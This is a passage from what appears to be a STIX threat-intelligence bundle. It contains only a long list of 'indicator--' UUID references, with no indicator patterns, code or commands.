        "indicator--bd11a2a2-5690-4f71-b2e7-92e9880ef68c",
        "indicator--3665007d-df26-4f58-971d-d3ab7b2a94c2",
        "indicator--46a6b3a8-3c93-450c-aaa4-6ba7bb5df560",
        "indicator--63b2dd4b-3935-4c94-809c-12fc4effe623",
        "indicator--3d8c6a32-451f-4c9b-a67b-6dd3e5b91504",
        "indicator--cded6b0a-f596-47f4-bb89-8d1d9360182c",
        "indicator--ea1906b5-4e8f-46b4-bfc1-52983514c346",
        "indicator--989bfc08-014a-4a02-973f-0d5b4b1eca53",
        "indicator--0e4dcebf-4e8d-41ba-806b-a804d3efdc3e",
        "indicator--0eb87ffb-612d-4ba0-b3a3-36cfd8a15b9c",
        "indicator--fcfc1e0d-0410-4991-9783-d3bab88da479",
        "indicator--14532344-ab3e-4afb-9a3b-94ff77bc3f4a",
        "indicator--765a2aee-8576-460e-938b-ee7b15b902fa",
        "indicator--ad8ad997-fdc6-4c62-bcae-e70eae081493",
        "indicator--1df7d9a7-6598-4ff8-856d-ab5a4e9d2574",
        "indicator--9d932587-659d-44d5-a21f-be72767dc262",
        "indicator--e1a830a4-e0d9-44e9-94c4-173bd2763d24",
        "indicator--d4c5c74e-7f41-45fa-9bca-abe1c99602fa",
        "indicator--74601ef2-0ba9-42b9-85d8-f499967798cf",
        "indicator--75a9a1c0-2f17-4ed8-9d7b-86ba8b200503",
        "indicator--182d188d-af53-4d47-8462-db54680777f3",
        "indicator--d9bdf9fb-3762-4e69-840e-e6d1ac21a200",
        "indicator--1007409e-45b3-4236-88f0-813f93ceeee1",
        "indicator--e7a68849-b40c-4343-9bc8-392375c1986b",
        "indicator--d0ff10c4-b683-4887-910a-60b83443eb68",
        "indicator--02c227cc-a1bd-4422-ae94-98e08b90598e",
        "indicator--f2fbdfb3-fd1b-4005-aa69-e6ef7417f544",
        "indicator--40e6b490-a892-456b-af9c-8797efea259f",
        "indicator--65b5fc56-f118-4921-8c55-54ba659ce193",
        "indicator--1bd253ca-ef04-404d-bb1f-ec8bc2fca7f4",
        "indicator--25f51dab-cc07-4e4b-ad8d-7048223f8654",
        "indicator--2bae5e26-96fa-433d-b1ad-dfe3318f2f7d",
        "indicator--2a523a6e-5d5d-4e6c-809d-90668bf3a932",
        "indicator--bdcdaa0b-cb68-4069-ae21-9574d603f1a7",
        "indicator--e81cfc86-c791-465e-b5db-05d09ea3859a",
        "indicator--a196704d-e334-4d12-be28-591718b4a8f5",
        "indicator--8544e78a-62f9-4aca-8893-940352965c78",
        "indicator--e2b71dba-b372-456a-a108-11565ccf4b7f",
        "indicator--fa14e2b1-549a-4576-b8b6-d468db057a53",
        "indicator--c9696feb-b182-4d69-9752-3e35deb9d360",
        "indicator--c5bb5466-27d6-47f7-866d-60439f05094f",
        "indicator--ce766139-cf94-4cc6-95cb-c041b6a4091f",
        "indicator--ecb2a225-2d40-4b89-a9f0-ab4e20fc2c83",
        "indicator--704431da-20ac-4f49-8cc4-3fe94f3763b8",
        "indicator--d955236b-a124-4e37-ab75-b9ea314670e1",
        "indicator--d6a6f07a-200c-4c39-90ca-67b34312b19c",
        "indicator--7b0ef310-c4f7-4b64-9c48-0bb3f38b759e",
        "indicator--f57e5ec9-4cb9-40f8-b32e-a8ec0b89a532",
        "indicator--c5ee6b1a-ade0-48f8-b97c-fab725093f32",
        "indicator--df505c75-7e9c-43e6-b648-1f3ae12bcb0e",
        "indicator--b73484f1-28d8-4681-91a5-3d015cc1c6f8",
        "indicator--180b5104-6d89-4f90-b26b-01e6861538e0",
        "indicator--721fe8ad-8dbf-48d1-a1ec-6a9a14e61e34",
        "indicator--e5171c9d-6cfd-4e2b-ba34-5c11f46a7224",
        "indicator--7689ceda-1b0b-4ef3-a74b-c69754ee3299",
        "indicator--0c8f6586-834d-4dfe-9705-09edef0f5406",
        "indicator--0f4bead2-c224-4ed2-a70b-6439abbfb269",
        "indicator--93a8bb0a-1fc6-42c6-913c-209890147bd2",
        "indicator--cdece0e4-2bd6-4ca3-8064-e6bc262f0f83",
        "indicator--52d8ab7e-7954-470e-869d-71fdf8e7ec6b",
        "indicator--3d94307f-11a8-42a4-9676-6c5d6fac0ca8",
        "indicator--e2dad5d7-6449-49c4-9967-529bd2d1373a",
        "indicator--50743f0a-6bea-4a8e-a05f-e3bee9142b84",
        "indicator--59085736-d867-43f6-bf97-0f1cf25a28af",
        "indicator--51f616ec-bd18-42e8-beb2-a82385acb711",
        "indicator--0a33f923-99f0-4434-ba39-0e25e92d77c5",
        "indicator--99468d6e-591c-4a5a-9e2b-8842099c4854",
        "indicator--c0d82a4f-144e-4d5d-8898-ee0d38c443cc",
        "indicator--0205f6c9-bde7-4070-8ace-08c594c076b1",
        "indicator--0949f0d9-36ad-49f2-a64f-18cd489f2316",
        "indicator--ad615a86-470d-4412-9133-ad9559545adb",
        "indicator--5c965322-26d2-4a30-a2c5-9ac938829281",
        "indicator--2cc8423f-94b2-475b-8ec9-28cf9d297772",
        "indicator--6ed1fdf0-239e-438c-af16-1825dcae3243",
        "indicator--52bff357-173e-42a5-9855-23f25ff39d35",
        "indicator--bb1a9eb2-e22d-48b7-bf6e-189d0802a3c4",
        "indicator--52610845-0416-4537-a757-685c5fe817b6",
        "indicator--e305adc7-32cf-4b22-894e-afc3d8cf2746",
        "indicator--25c08b3b-c49f-4d2a-a13b-362d46e2f82f",
        "indicator--c5750c9e-bfe5-4ac3-ab10-6815f5affa81",
        "indicator--a24f3528-c5a1-4e60-ae41-69acd202b31d",
        "indicator--e4fdea3f-08e8-4480-a381-9b41c274a7d1",
        "indicator--dc1fce7c-1b8b-4f63-8241-30331e4283d8",
        "indicator--d7e3dac2-5ce1-4e31-bd9f-7a7c59734faa",
        "indicator--9f192c0c-35d7-428e-8a5f-088da337ff48",
        "indicator--7aed0661-7572-4272-ac6f-c5ac778076d4",
        "indicator--1a3c9f59-03a4-49c1-849e-7be0d2e6b504",
        "indicator--a30780fa-f64f-4385-9292-180b8998d302",
        "indicator--4a126c8d-0b9e-4684-9c99-d04fb0f1c8c9",
        "indicator--915dd204-1cb8-491a-8df0-07e07fabb594",
        "indicator--ae447ccf-0d5f-4695-a184-932488e4b465",
        "indicator--0531e504-896f-479c-821f-cedfda84f1b2",
        "indicator--818def07-e364-4c71-bb19-cf9b5eb93dfc",
        "indicator--31287c03-fadc-4954-8c63-34b521982231",
        "indicator--fbc8b6f1-7631-4fa2-bd78-2f6857192b0d",
        "indicator--092ebae2-7efa-420e-8d10-f29e00cf78e7",
        "indicator--f465b2cd-8f22-46f2-869a-ff125a4cc6c8",
        "indicator--bafb4785-ac17-4653-bf91-4c8434e5c15c",
        "indicator--6fbd5ec2-52d9-43da-a7a5-e7869318c0ba",
        "indicator--a2e0a2cb-d587-4e71-9619-f407f3b947c9",
        "indicator--4b325096-1adb-433b-8982-e7cef1c9fac7",
        "indicator--e95884a1-55e5-4d44-8aa5-fb8ab43edcd9",
        "indicator--5ae4908b-8c32-4bae-af61-272a971f5158",
        "indicator--eb9f951a-e074-4e51-8502-bc96e6cbfce1",
        "indicator--6483a520-25db-4522-8ca2-6fa1343624bf",
        "indicator--43332759-18d2-44c4-8fe9-603bf7f08090",
        "indicator--503c6564-e71c-418c-8f59-97ed7b379704",
        "indicator--a36f3405-b963-4701-8a0b-ae967fad13d2",
        "indicator--542f3835-40c4-44ef-93e5-d24a689a4808",
        "indicator--17556943-676a-410d-beb6-40dcb5c5e19d",
        "indicator--1bcc3664-41d9-42a6-b60e-e69f6e87d993",
        "indicator--69fc3387-5a9e-4735-85dc-aff444339db3",
        "indicator--5248052d-fd15-4102-8b4d-80b457a5b775",
        "indicator--105845aa-0295-4319-82ba-fb538aa8b3e8",
        "indicator--aae65933-869b-4bd1-91f2-89d249347ef8",
        "indicator--65b059c1-6f84-4c1e-b347-9bf643725042",
        "indicator--6f0e6f52-6c91-402e-aeb2-96dc25395449",
        "indicator--bdf6688e-e407-43fa-b6a2-8480fc5894d6",
        "indicator--536d659a-3e60-4ab1-b63f-053a7ccc17c6",
        "indicator--2c1eeb9f-3d21-4b3e-bbd5-de022be35ed1",
        "indicator--a355f9d1-ceba-4428-8a5d-0f4579708b36",
        "indicator--7f51f5bb-4d07-4443-ad48-13557c1cdea6",
        "indicator--3e3b2cc8-9a26-42a9-9f16-4f10653b1f33",
        "indicator--b6eb8cd3-0872-473a-9cd7-9a69e14cef99",
        "indicator--0045ab1c-3153-4551-a71a-b514a3f1a1fd",
        "indicator--a9895d21-89ee-4fd1-b930-c7a10240bdea",
        "indicator--c5ff2b89-d40f-4183-aaa3-513a88c2c1d0",
        "indicator--db4fe475-5575-48a7-a269-65e1eeddd524",
        "indicator--99d27d6d-7fbb-45ca-9bc6-8e8c7c3896b1",
        "indicator--c0ec904b-3882-4c28-8918-1e2d29b399b4",
        "indicator--acade667-b353-4ab8-b3fc-c554d3d82b30",
        "indicator--065239a0-61b5-4f56-b829-8fc7ad86f7c5",
        "indicator--c2d11f57-1443-4749-8aa2-1fd12f89763d",
        "indicator--69c4d41b-20b0-4e4d-b52c-4bb8e97a4f22",
        "indicator--dbd76e13-dcb6-4ea7-9a66-1369e8e3a160",
        "indicator--0136c450-41a0-4252-bd96-ed86732ad307",
        "indicator--41dd213e-086f-46d5-883c-9b4b53838e60",
        "indicator--445ab24d-ad07-45b0-84db-efaf32e789da",
        "indicator--88624a46-31c1-403c-babf-670a913ed127",
        "indicator--788de156-d1c6-4faf-a53e-28e60e4b8493",
        "indicator--bcaf2e47-d4a5-4ad6-89f2-4fbccb95b3f4",
        "indicator--0f77e6a8-2627-4cab-b2e5-caa6071f8406",
        "indicator--c1f58495-948b-4893-8bf6-444915972274",
        "indicator--7c88f780-4b0f-475a-8b9a-3d615e93f268",
        "indicator--db97aea2-6d26-40a8-a61d-f6755d7a2df8",
        "indicator--70cd11bf-351c-4ab3-8671-26ff7972cfaf",
        "indicator--b34182d4-186e-43f4-9f06-04284e99c4f9",
        "indicator--87879be9-274f-46eb-bb41-c258c73b375a",
        "indicator--88f48614-887b-445b-8767-3cff3de84d05",
        "indicator--9b797155-a633-40f3-b406-ec42abd1a529",
        "indicator--88611a25-6484-4da4-a710-abf5439a92ec",
        "indicator--b0abd0c9-8043-4c75-bafc-a4534c23f3e2",
        "indicator--5679f070-7d6e-47c7-8749-89fb05d2fc1e",
        "indicator--784632b5-4efb-41ee-9f85-60ea607be177",
        "indicator--1b3c8fb1-69e0-4de8-99a7-b3e73017cfe2",
        "indicator--f6b532f7-75c4-4fbf-867f-890d249ba07e",
        "indicator--ecdcde58-7f09-4335-b675-1db60edb4785",
        "indicator--4a72b51a-1da6-428c-9dc7-3b6d11141758",
        "indicator--ad29123c-038a-49ae-9a28-7722c1b82dcc",
        "indicator--5ed4c814-944a-4976-9374-7efeeaf6d659",
        "indicator--75f61403-b47f-41f8-bc96-2b6f1207021e",
        "indicator--f5cc8962-a39e-433d-8f2f-9436f6bac7ce",
        "indicator--8f35a4ff-7fac-4a6e-9d0b-50e8860ab72f",
        "indicator--86318911-51e8-4c65-bf8b-b13f8efdbfd2",
        "indicator--3f5e58f5-c43a-4462-ac15-2535c9fcb536",
        "indicator--2188e092-b984-4a39-80d8-1a17d0916e68",
        "indicator--140830db-60de-42dc-bb58-62fae547f9ec",
        "indicator--3dc23505-4304-434e-a9bd-6d99d2199c88",
        "indicator--19f560de-e022-43e6-a3bf-58d09fbcf457",
        "indicator--a5d98e78-67a5-4f6d-8412-e6e6a0e78ca0",
        "indicator--ae0fefe6-fd25-4ee5-a084-fdbd84e13bb0",
        "indicator--b193b01e-226f-4c18-804e-122507af453a",
        "indicator--c4f3d7e5-7dfd-4b93-981f-8c0d937c3b25",
        "indicator--a6f6892c-9ebb-47ff-86a9-42aae85b2583",
        "indicator--533ea238-e5d7-4914-810b-174e8538a1f0",
        "indicator--026da9a8-d8c9-441a-b50b-8b0c3f6d5ac0",
        "indicator--d7872d2b-dae5-4c2a-81f4-30b2a8e5e375",
        "indicator--1ba4b767-169f-4bf1-84ab-9fb199cac81d",
        "indicator--e49e3035-2789-417e-b831-0ac70815472c",
        "indicator--88f6496c-fd05-45f9-bd5a-7fa87c4679b5",
        "indicator--2acedde4-cfbf-4c62-b061-9ca545d6b44d",
        "indicator--44d1d3fc-ba00-412f-9b34-68c2704f0cc6",
        "indicator--2ad0b7d8-4d73-4256-bd28-45398a1b2192",
        "indicator--dec82bcd-9517-44ba-b195-3a2f99dbe4ae",
        "indicator--340c347a-1a84-4111-a446-453c11161d3f",
        "indicator--54cfa781-6863-40f4-8f9f-9687375cae01",
        "indicator--7a4c7bcd-a309-4726-92af-34d3173bff49",
        "indicator--3f44b841-10af-4b9f-a8b2-1d6db4ff2676",
        "indicator--16964857-567a-4f50-b58d-387795c83d6e",
        "indicator--42754762-7d4c-455f-a745-a4b1174fafcc",
        "indicator--67f65e5f-9f13-44c4-81ca-08e13c6ef039",
        "indicator--41eff508-cf9f-46cb-9dc7-999c952d0089",
        "indicator--e8ff28f3-734e-4fc5-b9a6-5bdb024c5f29",
        "indicator--95e132dc-a777-46da-bfb1-662341a5408b",
        "indicator--c8af1bc2-9352-419f-9850-d27f290f4549",
        "indicator--4fd67da2-8f37-4141-8337-d8c9aba4e315",
        "indicator--da587325-269f-4116-8f7b-75281b560267",
        "indicator--e3ee309d-36f8-4cf5-b6c9-8ab18122e267",
        "indicator--cff2e7f9-8acb-410e-9004-c24baa78077b",
        "indicator--42b64f31-a94b-4c56-8253-cef70e893b70",
        "indicator--17826adb-a277-4257-a943-ad90b2e6498e",
        "indicator--63733188-03dc-4fdd-8a6b-b6db856ff7a4",
        "indicator--08d58b4a-c27e-4a68-955c-0dd444080a58",
        "indicator--580f777b-52b1-416a-9840-1a4841ab144a",
        "indicator--a74b6457-ada0-44fd-89b8-44f98a510eed",
        "indicator--27a529f0-4f8e-4bf6-a074-131df4026a84",
        "indicator--47a43b0c-723a-4e8c-baed-494e586782b9",
        "indicator--6afa298c-ce8e-423a-9a09-8744776803e7",
        "indicator--c713f9d4-db66-4d86-bb77-0a63badbeb2f",
        "indicator--c8a0defa-192d-4576-9100-e04ec60ab91d",
        "indicator--cd0474bc-e34b-4827-bba2-694670853a57",
        "indicator--5e2537ea-0e98-4d96-8bf4-d027fa24b032",
        "indicator--0f9587cd-a103-4bc1-846f-8bcd74e431e4",
        "indicator--2b90b94f-d2d7-47db-b861-58b06e5025a2",
        "indicator--49332c2c-fada-4ed4-96ec-971c7e4e02ba",
        "indicator--252c615a-6ad9-418c-b178-dbc0a26827c5",
        "indicator--4106f73a-8f40-493d-967e-32ff56c873ff",
        "indicator--1c99c94a-98c7-4631-94b8-6f6ae690beca",
        "indicator--ab064453-d61c-440a-95c7-78891c39290f",
        "indicator--6083f088-8256-4361-a7c0-0abad415ec99",
        "indicator--ba263347-100a-4fd1-9842-b384d3e7ae76",
        "indicator--7b1dc8be-b988-4221-abc4-cba4810b1c9d",
        "indicator--fc5aa9b7-d3e4-4ad6-880b-cd17b1798267",
        "indicator--7e4d77c3-1172-48b0-9044-1c14214da920",
        "indicator--86e84519-e9c7-454e-8a6b-e78bae154754",
        "indicator--56a3cb82-0791-46ba-8db4-679255576602",
        "indicator--5de5d58d-1066-4bfd-b2ab-0560aa87d91d",
        "indicator--678efa30-743b-4470-9399-db13eba33102",
        "indicator--4f54d45e-21c8-4b09-b17c-b4f906cbf062",
        "indicator--a307b9e1-164d-4b04-a131-f01ba35b3555",
        "indicator--18f4dc6f-1279-4cf0-aa80-1ad9045a472c",
        "indicator--e6881d09-44ef-40f0-be40-8ceb1a9372ad",
        "indicator--52fd5203-7bb9-4def-9b14-9bbe516e2d47",
        "indicator--ce1250b8-e963-42be-9621-bf953c2a1d2f",
        "indicator--3a0ddeb5-8b2e-4c00-b895-8d6c601361f3",
        "indicator--fff160e9-0dae-490c-a3df-3f794b4fb3ae",
        "indicator--07f4c969-98be-4f62-bb7c-c04e7403d635",
        "indicator--a01666cb-bea7-4cfb-bd74-80af47c1b904",
        "indicator--ec621991-45f4-4841-8634-918bcc2fbdea",
        "indicator--d3afcc92-4088-46c1-8974-4cf4d8a2a99f",
        "indicator--7f605ab6-9c2d-42cf-a514-62f5fda4e437",
        "indicator--1e399649-6fb0-41a3-8e4e-da762fcb518e",
        "indicator--29ed8b54-ff7a-4b99-988a-045c81e8ca87",
        "indicator--619aa5eb-c1f7-49be-aa98-726bcdb5d1e5",
        "indicator--5394fc91-7043-49cd-92af-ae719a52ac6f",
        "indicator--99a669bc-4e6b-4d1d-8157-407ae30af97f",
        "indicator--8ac3242a-d40b-4050-98a5-d6a46be6afb0",
        "indicator--d2076ee5-7f8c-4246-8bea-fed0e2b4c6bf",
        "indicator--2bba9d1c-d5fc-4539-9122-ff40317401ac",
        "indicator--c24863b4-00a5-4325-9d0a-c40fdf71d032",
        "indicator--0d79a540-d78c-4888-a8d6-d5589e99b177",
        "indicator--f1eb05a0-9b93-4bfc-aed5-9e2d8c20c9dd",
        "indicator--21d3b73f-970c-4896-870e-22d7f5611f09",
        "indicator--d7bb97f1-6baf-43c4-b4e4-8f4fbf47bc38",
        "indicator--9368c774-7ccb-4d39-ba90-a8d969948c8c",
        "indicator--55feeac1-07d6-4af8-9749-9a0ddc48d100",
        "indicator--21bc2aa5-0c5d-41d5-8c1f-bef8ab08fa7c",
        "indicator--997f6701-097e-4b5c-8bb8-25722c9444b9",
        "indicator--84204ce5-d68c-4613-bcff-4b2449a333f1",
        "indicator--62c234ac-35c8-4500-88a7-d8b541f2b65b",
        "indicator--a2ae2c8c-09a1-43d7-b370-4cb85292f8e2",
        "indicator--bd7b4859-9b45-4ec2-8241-5882d435499b",
        "indicator--4c4f4420-d7e0-48c5-b2d4-e33b89a47947",
        "indicator--04e7dcbc-52f7-4ff0-befd-302917d3a6cc",
        "indicator--7973f2c6-83f3-42d8-b8a8-b02a45b62f44",
        "indicator--0bcd4856-8b43-4668-8e32-c9fdf02a733d",
        "indicator--5e6595e4-7af2-4c2e-a4c4-d0bf4e60a7c4",
        "indicator--e30f8de9-5989-4d91-b0d8-8ff7ab28a00f",
        "indicator--e687824c-59b0-49cf-ae50-f3b8dc5a996d",
        "indicator--c2ba99fc-a7f9-41fe-ba4a-9c60a34ecf1e",
        "indicator--1f56be05-ff63-4e8d-8941-e48e6069791c",
        "indicator--577d1b59-bfb8-41c6-84c7-344532aeee2f",
        "indicator--7346256b-3e79-4944-a169-1552a8f143ce",
        "indicator--1b331ab3-4c2d-4001-a32d-36734d16acc3",
        "indicator--6b461188-b227-4989-bfeb-6370db1a86b0",
        "indicator--33c44627-069d-446e-b2ff-eed10330357e",
        "indicator--777b7d59-4304-4968-a374-009f7b4f8b38",
        "indicator--79b94aa4-f50e-44f1-9731-11aca4d75734",
        "indicator--235bf2b1-4d54-4aae-bfaf-305d4b352c54",
        "indicator--b103ec95-ea3e-4a33-8a24-9dd181814e53",
        "indicator--c18e2918-ebe4-4584-8d2f-256ad92eca6c",
        "indicator--216fae99-99e9-4296-adf5-ee8f39bf4f29",
        "indicator--686cf630-3554-4a68-bd3d-161eaff51a49",
        "indicator--9e10eb84-33a2-433f-8d74-ec699894a36f",
        "indicator--51311d70-23ec-4119-a529-0b7066f10c7f",
        "indicator--557cbe16-cd0b-494b-a5f6-53147014989f",
        "indicator--ef063e56-9da0-44ef-ad93-41e1360802c2",
        "indicator--4104f353-8629-4a27-bb5a-82ccc4fe5dae",
        "indicator--6ea68fc7-1aa1-45f3-9b17-df09868f703c",
        "indicator--84c45ad7-808a-45e6-a56f-8d0e6fc8a665",
        "indicator--0e02c810-f945-4b0c-a963-9e6970487d34",
        "indicator--6ebf7e3f-9ec1-485b-aac3-8fc019252934",
        "indicator--78f54be8-57b0-4554-b036-8fb452b80f5a",
        "indicator--ad1af1cd-644a-44c8-a053-e6098af6b5bf",
        "indicator--9da93576-d24f-4e96-8001-37d1d9a4015d",
        "indicator--604e0a7a-c591-4f4e-912f-fa96147e8e7f",
        "indicator--dc8ae674-3824-4f5c-ad55-3b213713e43e",
        "indicator--cb113ad2-cac5-47a6-8267-3183a420e07d",
        "indicator--746f12f0-f399-4bc7-90f3-61e2bf006d98",
        "indicator--0078296c-35f2-4596-8199-27415bec4162",
        "indicator--78e6a511-54bd-4629-bfb5-9266cf71af6b",
        "indicator--c7d2ca7d-4484-4e90-96e9-8db1db41d538",
        "indicator--4a7d487f-eade-44ca-8550-f8c7420b4ce8",
        "indicator--eaa58e47-cc8f-4ace-b7bd-3a851013656a",
        "indicator--6cd6082d-5fbf-4d26-ac19-74ac8808d08f",
        "indicator--fd9d38ca-de45-4ef8-8ba6-c4a142947783",
        "indicator--002ff2be-f9ea-4f84-b7dc-93145fea4956",
        "indicator--29466b63-6581-49f0-ac39-d230e0cd6ce8",
        "indicator--ec734dc4-6280-49e8-b9d9-a2da1e8fc7c6",
        "indicator--992d5927-d984-41ad-86f4-9876be3ec617",
        "indicator--df93fb62-211f-4c69-bad7-a91f8dd38eec",
        "indicator--aef7faaa-3f6a-49f1-bc66-3cd189cdd973",
        "indicator--0f630303-5b2c-4be3-adaa-f4ba46f4c9a5",
        "indicator--10d61474-d8cf-45c3-ba06-2a1622411de9",
        "indicator--9b42e5d3-2e2c-4e53-b8da-8158c6bb4957",
        "indicator--ffa0d284-cf36-4327-80c9-e57ba81bee36",
        "indicator--1a66c870-ad37-4e0a-a43b-e4d495a533d4",
        "indicator--6c5c6cfd-7d55-46bf-980f-6f0540e2b194",
        "indicator--e22e3ddf-e953-401e-926f-c7ecbcb65c06",
        "indicator--d429f6e7-f955-451f-8715-131b1e8c688c",
        "indicator--ae61115d-8718-4fb2-8409-7b45b5b0d6ca",
        "indicator--1a7cfafa-ed07-46d3-83a7-c94c93c55b23",
        "indicator--63610861-525e-42b0-95bf-028be96e0363",
        "indicator--5e9389d6-f567-4a78-bbbb-03e13580b1b4",
        "indicator--a754217b-f6dc-443e-8417-fcca15c3cbf5",
        "indicator--26a0c3c6-3f54-4ff0-b139-895e6b994b85",
        "indicator--d08c09f9-9a82-41a4-a8be-67e5d6bb1886",
        "indicator--3593831c-c840-46d2-ace9-8e1015d440e2",
        "indicator--e6403b3f-6d04-4053-adca-56d9937f9500",
        "indicator--2fe68e4d-da8d-43a6-97a1-7ce791484746",
        "indicator--98a63611-c243-4971-b14d-d6a260799628",
        "indicator--96ac96b8-43ae-4268-ab3b-f229fe2b8ba9",
        "indicator--7e0cef78-3fa7-49c1-bde1-9a3d61ba8a4b",
        "indicator--dff64bcc-cea5-4f53-8274-39e31e54e92b",
        "indicator--0819f5e5-34f5-48fb-b1da-48018ef94be8",
        "indicator--b9393dde-4ae7-4e26-af73-d81d37f89a47",
        "indicator--a4267287-39a3-43b4-becd-b21c30227d5e",
        "indicator--560718b8-fa0b-4ad4-afcd-7c5578c80bf8",
        "indicator--cd6482d1-f540-4431-8823-58734b494c70",
        "indicator--f1f7378b-7bbf-4714-b4c2-7969b11a9933",
        "indicator--7a1d0eca-666a-434f-b579-d69a1735d533",
        "indicator--0fb4c286-a543-4931-a8fa-a232affc92b7",
        "indicator--9b82a9e4-551b-42cc-8aab-c04ea847746f",
        "indicator--655dcc00-6f32-4a94-96ab-3a5ebbba2932",
        "indicator--dcf7b4fd-a9b7-43b9-a4c1-ab3d3dadfef2",
        "indicator--0daf8361-2e58-430a-a7d0-faf14f488c1e",
        "indicator--b335257e-df9f-4ef6-b461-3f850683308b",
        "indicator--d87a73ba-24be-451d-bccf-071ca20241ac",
        "indicator--837d4252-eefe-4845-890d-54147ce7b30a",
        "indicator--70197b2b-1ed7-45f0-9209-927554086a42",
        "indicator--7f8cb745-6462-47e6-aa7a-7184b46946b0",
        "indicator--0babe9cb-9456-4c17-a9ba-6cabc45baeaa",
        "indicator--20b3f7da-d129-4cef-8408-3b8e32e9d86e",
        "indicator--70ba8239-4741-4a06-938e-f5ce80c8cf2d",
        "indicator--10373863-aba9-4f1a-9689-3d5fbb871ef5",
        "indicator--a23c2ca1-58dd-4c91-a0a8-34a0674923be",
        "indicator--ab33bbb2-8ddd-465f-9438-87f7279268f0",
        "indicator--87b57588-2ae6-48e6-b9b5-6c307466c929",
        "indicator--823786d3-3a45-4b33-a8d9-6b5dcf4a0266",
        "indicator--12f1befe-3f09-490e-88f4-26fc8a5eef4b",
        "indicator--c3363f3d-7cb3-4fd8-a829-57c7aec462c4",
        "indicator--272f9c53-5d78-4a5c-8b18-28c8a6bb7fd7",
        "indicator--3ea0f8a0-b176-4944-8f0d-18e608f734b5",
        "indicator--832707b7-0800-4fec-b971-b2bc0a2e3e00",
        "indicator--b397b85e-0ce0-4a6f-a5f1-ac4ff2a1b3f0",
        "indicator--57dce765-38ae-4450-8ecc-d4cca572a8ad",
        "indicator--93866cc9-dc94-447d-90ea-e05e04896714",
        "indicator--215f0432-71d7-476b-838c-34718b54e459",
        "indicator--e60504a1-bb8a-4316-adf4-12e86b020e2c",
        "indicator--e79fe07c-690e-4dfa-bdb1-a183ebec2d9c",
        "indicator--a4783fb3-c137-4404-82bd-bd67c6780023",
        "indicator--a37d00a4-03f2-4c3a-99bb-c89e3dec3f27",
        "indicator--7293d6e0-5f94-40c3-854a-8d81e28b6fd9",
        "indicator--364dd931-1a46-4cb7-9f9d-4f346ad05be0",
        "indicator--abb77d87-c966-4955-ba6d-3f47279cee21",
        "indicator--bd7a0041-e028-4667-aed2-b54c915f520a",
        "indicator--4fe743b0-2166-473d-9790-12ef69e29ee3",
        "indicator--a81212d0-cc64-4f0a-ba2b-6f26cc84f3f8",
        "indicator--d618700d-055a-4b90-a279-263fa2b9a1f7",
        "indicator--bc3fe348-404a-4237-b685-37206fc222fa",
        "indicator--a75f127a-4bad-4a02-9f24-9551b780c596",
        "indicator--264e480a-9933-49b1-806f-15a8c0dffd66",
        "indicator--cd036175-05c4-4d8b-888f-828c457c5871",
        "indicator--e331ba9b-b6c0-4424-bdb9-1b5b8a0f2a62",
        "indicator--e9e2105c-fc15-4013-a49b-cbcff0f8b529",
        "indicator--afb56839-9d36-4e04-9766-c1dd3952798c",
        "indicator--e833acb5-b711-4ff2-9b60-b967397236d1",
        "indicator--a67293fe-2289-4fdd-92d2-0362f5def85d",
        "indicator--80e19a3e-39fc-45ef-9661-85a3b7283bbf",
        "indicator--fa56facb-af44-4d84-ad06-41407925f623",
        "indicator--87968985-5716-48d8-86a5-e388fec96a54",
        "indicator--5d066bf0-e2bd-48b3-8296-1512873fd365",
        "indicator--2341b950-ce1f-4543-8139-25040e138f4d",
        "indicator--331d5345-067a-4d3c-9021-d55d437c1b60",
        "indicator--405e4a0a-932c-4c1d-aaf3-77a5a7a92768",
        "indicator--2a7d65ee-d9b0-4692-8c13-2235190b419b",
        "indicator--778b9098-cf12-487b-9837-9aa753e06050",
        "indicator--61087d4d-d060-41ef-83de-ab95b52dc5ba",
        "indicator--ffa67963-98c5-4b60-b53f-99e6103fc397",
        "indicator--ef4bea4d-baf4-48ff-a329-01b56de0c9d9",
        "indicator--2b9a22fe-4786-40e6-b831-24943673d530",
        "indicator--b2f3f0d7-8c45-458d-917a-64da8ed4aecc",
        "indicator--7a4c0412-b6d5-4ad2-a2c3-48cd8978286f",
        "indicator--e3c6c2dd-c446-4d2e-92c8-16e5ca18c1b6",
        "indicator--212e23c4-91af-4cd7-a504-df55beda3f1e",
        "indicator--f770a204-5cbe-4646-9f90-9fe2ea14c9ab",
        "indicator--852c8ebe-eeeb-4f80-b1c3-aff642f22970",
        "indicator--60d7f5c8-c215-42bd-ad70-4b035a4fdc7c",
        "indicator--680be51c-0633-40e7-8ef6-0eb50d3b2237",
        "indicator--92ff04ab-3609-4760-9793-9da9a52fb2e5",
        "indicator--a719ec65-2136-4144-9ed2-56836d268900",
        "indicator--ca797426-8d4c-4990-bf96-3336ff13fd23",
        "indicator--32c16150-7d24-4084-91b9-dfbe6b31e635",
        "indicator--68b08bc1-caad-449c-8661-cd547ce84586",
        "indicator--f048fa46-be97-4d0d-bf2a-84b0075f5bb8",
        "indicator--78b0c3cc-6203-4987-b1a6-fa7070b80c64",
        "indicator--221c2636-d37a-4ec1-a6c0-678c58f6dcf5",
        "indicator--4bf007a7-a53d-43c4-acf3-d64346927af3",
        "indicator--171b2d35-ac77-47bb-baec-70f1712f184d",
        "indicator--eff5e603-ad67-4f77-ab1c-e8deb725e2b5",
        "indicator--87b1e8f2-59cf-4cfb-8bfb-07ee2f6147e9",
        "indicator--820d6efb-b0d2-4c80-b9a2-fe32bf2244f8",
        "indicator--98d72f5e-f8bc-43ea-859d-f73ac448a5bc",
        "indicator--93335f29-35c5-47d4-a5bd-26457c2dfea8",
        "indicator--55d439d4-3ae5-4487-baf7-050d4ea22f2b",
        "indicator--252b850b-9fb2-4452-8bc8-2065961dccfb",
        "indicator--12c00c2f-c6c3-451a-a5d9-1f8cd8cd207b",
        "indicator--80c4b796-8722-468e-95e5-e4252b17f0e8",
        "indicator--f0304341-8c31-41b2-a229-5003eaf398e3",
        "indicator--5e10b31c-55e9-4250-8125-17ffa07aa598",
        "indicator--b55e653e-06a9-422d-ab92-f25613c45e5d",
        "indicator--6e3dae91-7810-48ac-ad20-ccf7d1b9b79d",
        "indicator--2d654b05-c180-46ce-b678-6ee2335a7f7c",
        "indicator--fa6232c8-8c46-415f-bf7c-182425aaa3c7",
        "indicator--a741d021-27f8-4bac-b179-9b87787d6c5f",
        "indicator--6a840a9c-66dd-4216-a4e2-836edd7ef389",
        "indicator--ef857f1a-f18c-49f0-a728-1ab685ac2f6c",
        "indicator--f4bd26f2-cf4e-4f41-ad87-ac8a374ee571",
        "indicator--95d20e46-7505-46e7-b694-774cbd3c5103",
        "indicator--533e5c27-6f23-4363-9664-cced9c6a6998",
